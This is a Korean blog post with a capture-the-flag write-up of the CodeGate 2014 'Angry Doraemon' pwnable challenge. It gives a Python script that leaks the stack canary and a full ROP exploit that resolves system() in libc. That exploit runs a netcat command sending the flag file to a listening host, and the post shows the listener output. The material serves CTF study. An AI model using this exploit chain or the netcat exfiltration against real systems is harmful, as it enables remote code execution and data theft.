티스토리 뷰

Pwnable/CTF

CodeGate 2014 [ Angry Doreamon ]

err0rless313 2015. 1. 14. 04:58

http://shell-storm.org/repo/CTF/CodeGate-2014/AngryDoraemon-250/


CodeGate 2014 문제를 다시 풀어봤다.


Menu에서 4를 선택하면 나오는 MOUSE 부분에서 Overflow가 난다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __cdecl sub_8048FC6(int fd)
{
  int v1; // edx@3
  int v2; // ecx@3
  int v3; // eax@4
  size_t v4; // ST1C_4@4
  int result; // eax@5
  int v6; // [sp+18h] [bp-20h]@1
  int buf; // [sp+22h] [bp-16h]@1
  int v8; // [sp+26h] [bp-12h]@1
  __int16 v9; // [sp+2Ah] [bp-Eh]@1
  int v10; // [sp+2Ch] [bp-Ch]@1
 
  v10 = *MK_FP(__GS__, 20);
  buf = 0;
  v8 = 0;
  v9 = 0;
  v6 = open("mouse.txt"0);
 
  if ( v6 < 0 )
    sub_804889D("open() error");
 
  write(fd, "Are you sure? (y/n) ", 0x14u);
  read(fd, &buf, 0x6Eu); // Vuln
 
  if ( buf == 'y' )
  {
    v3 = sprintf(s, "You choose '%s'!\n", &buf);
    write(fd, s, v3);
    v4 = read(v6, s, 0x1388u);
    write(fd, s, v4);
    write(fd, "\n\"MOUSE!!!!!!!!! (HP - 25)\"\n", 0x1Cu);
    dword_804B078 -= 25;
  }
 
  result = *MK_FP(__GS__, 20) ^ v10;
  if ( *MK_FP(__GS__, 20) != v10 )
    __stack_chk_fail(v2, v1);
  return result;
}
cs


하지만 SSP가 걸려있어 Canary값을 가져와야 함. 

fork()를 사용하여 Canary값이 랜덤하지 않다고 한다.


1
2
3
root@Kali ~/s/e/doraemon# checksec --file ./angry_doraemon 
RELRO           STACK CANARY      NX            PIE   
Partial RELRO   Canary found      NX enabled    No PIE
cs



buf와 canary값은 0x0A차이나는데 y를 10개 주어도 Canary값이 나오지 않는것은

Canary의 첫 바이트가 0x00이라서 그렇다고 한다.


아래는 카나리값을 구하는 코드


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python
#-*-coding:utf8-*-
from socket import *
from struct import *
from time   import sleep
 
def dump(buf):
    # 길어서 생략
    # 길어서 생략
    # 길어서 생략
 
IP   = "192.168.1.130"
PORT = 8888
 
p   = lambda x : pack("<L", x)
up  = lambda x : unpack("<L", x)[0]
con = lambda x, y, z : x.connect((y, z))
 
s = socket(AF_INET, SOCK_STREAM)
con(s, IP, PORT)
 
s.recv(1024)
s.recv(1024)
s.recv(1024)
s.recv(4096)
 
s.send("4\n")
sleep(1)
 
s.send("y" * 11)
 
print s.recv(1024)
dump(s.recv(1024))
cs



문자열 y뒤에 오는 값이 Canary의 3바이트 이다.


1
2
3
4
5
6
7
Are you sure? (y/n) 
00000000 | 59 6f 75 20 63 68 6f 6f 73 65 20 27 79 79 79 79 | You.choose.'yyyy
00000010 | 79 79 79 79 79 79 79 1b f2 0a 88 8c d3 bf f3 ba | yyyyyyy.........
00000020 | 6a b7 98 8c d3 bf c5 92 04 08 04 27 21 0a 0a 5b | j..........'...[
00000030 | 6d 6f 75 73 65 2e 74 78 74 5d 0a 0a 0a 22 4d 4f | mouse.txt]..."MO
00000040 | 55 53 45 21 21 21 21 21 21 21 21 21 20 28 48 50 | USE..........(HP
00000050 | 20 2d 20 32 35 29 22 0a                         | .-.25)".
cs



즉 Canary 값은 0x0af21b00이 된다.


CANARY값을 구했으니 적절한 위치에 넣어주고 ROP해주면 된다.




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python
#-*-coding:utf8-*-
from socket import *
from struct import *
from time   import sleep
 
IP   = "192.168.1.130"
PORT = 8888
 
p   = lambda x : pack("<L", x)
up  = lambda x : unpack("<L", x)[0]
con = lambda s, i, p : s.connect((i, p))
 
s = socket(AF_INET, SOCK_STREAM)
con(s, IP, PORT)
 
canary    = p(0x0af21b00)
vuln      = p(0x08048FC6)
write     = p(0x080486e0)
write_got = p(0x0804b040)
read      = p(0x08048620)
bssSec    = 0x0804b0a0 + 0xf10
pop3ret   = p(0x080495BD)
offset    = 0x8bb50
 
s.recv(1024)
s.recv(1024)
s.recv(1024)
s.recv(4096)
 
s.send("4\n"# Selete Vulnerable Function
sleep(1)      # Delay
 
s.recv(1024)
 
command = "nc 192.168.1.130 33333 < flag\x00"
 
payload  = "JUNK" * 3
payload += read
payload += pop3ret
payload += p(0x04)
payload += p(bssSec)
payload += p(len(command))
# read(4, &.bss, strlen(command))
 
payload += write
payload += pop3ret
payload += p(0x04)
payload += write_got
payload += p(0x04)
# write(4, write@got, 4)
 
payload += vuln
payload += "JUNK"
payload += p(0x04)
# vuln(4)
 
s.send("y" * 10 + canary + payload)
s.send(command)
 
write_libc = up(s.recv(4))
system     = write_libc - offset
 
print "[*] write@libc  : ", hex(write_libc)
print "[*] system@libc : ", hex(system)
 
s.recv(1024)
 
payload  = "JUNK" * 3
payload += p(system)
payload += "JUNK"
payload += p(bssSec)
# system(&.bss)
 
s.send("y" * 10 + canary + payload + "\n")
cs




1
2
3
4
5
root@Kali ~/s/e/doraemon# nc -lvp 33333
listening on [any] 33333 ...
192.168.1.130: inverse host lookup failed: Unknown server error :
connect to [192.168.1.130] from (UNKNOWN) [192.168.1.130] 50499
flag is {CodeGate2014_Angry_Doreamon}
cs



FLAG 값은 임의로 정했습니다.



'Pwnable > CTF' 카테고리의 다른 글

Volga CTF 2014 [exploit 100]  (0) 2015.01.28
CSAW 2012 [Challenge1]  (0) 2015.01.23
NullCon 2014 [Exploitation 100]  (0) 2015.01.13
Plaid CTF 2013 [ropasaurusrex]  (0) 2014.12.13
CodeGate Junior 2014 [nuclear]  (0) 2014.12.12
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함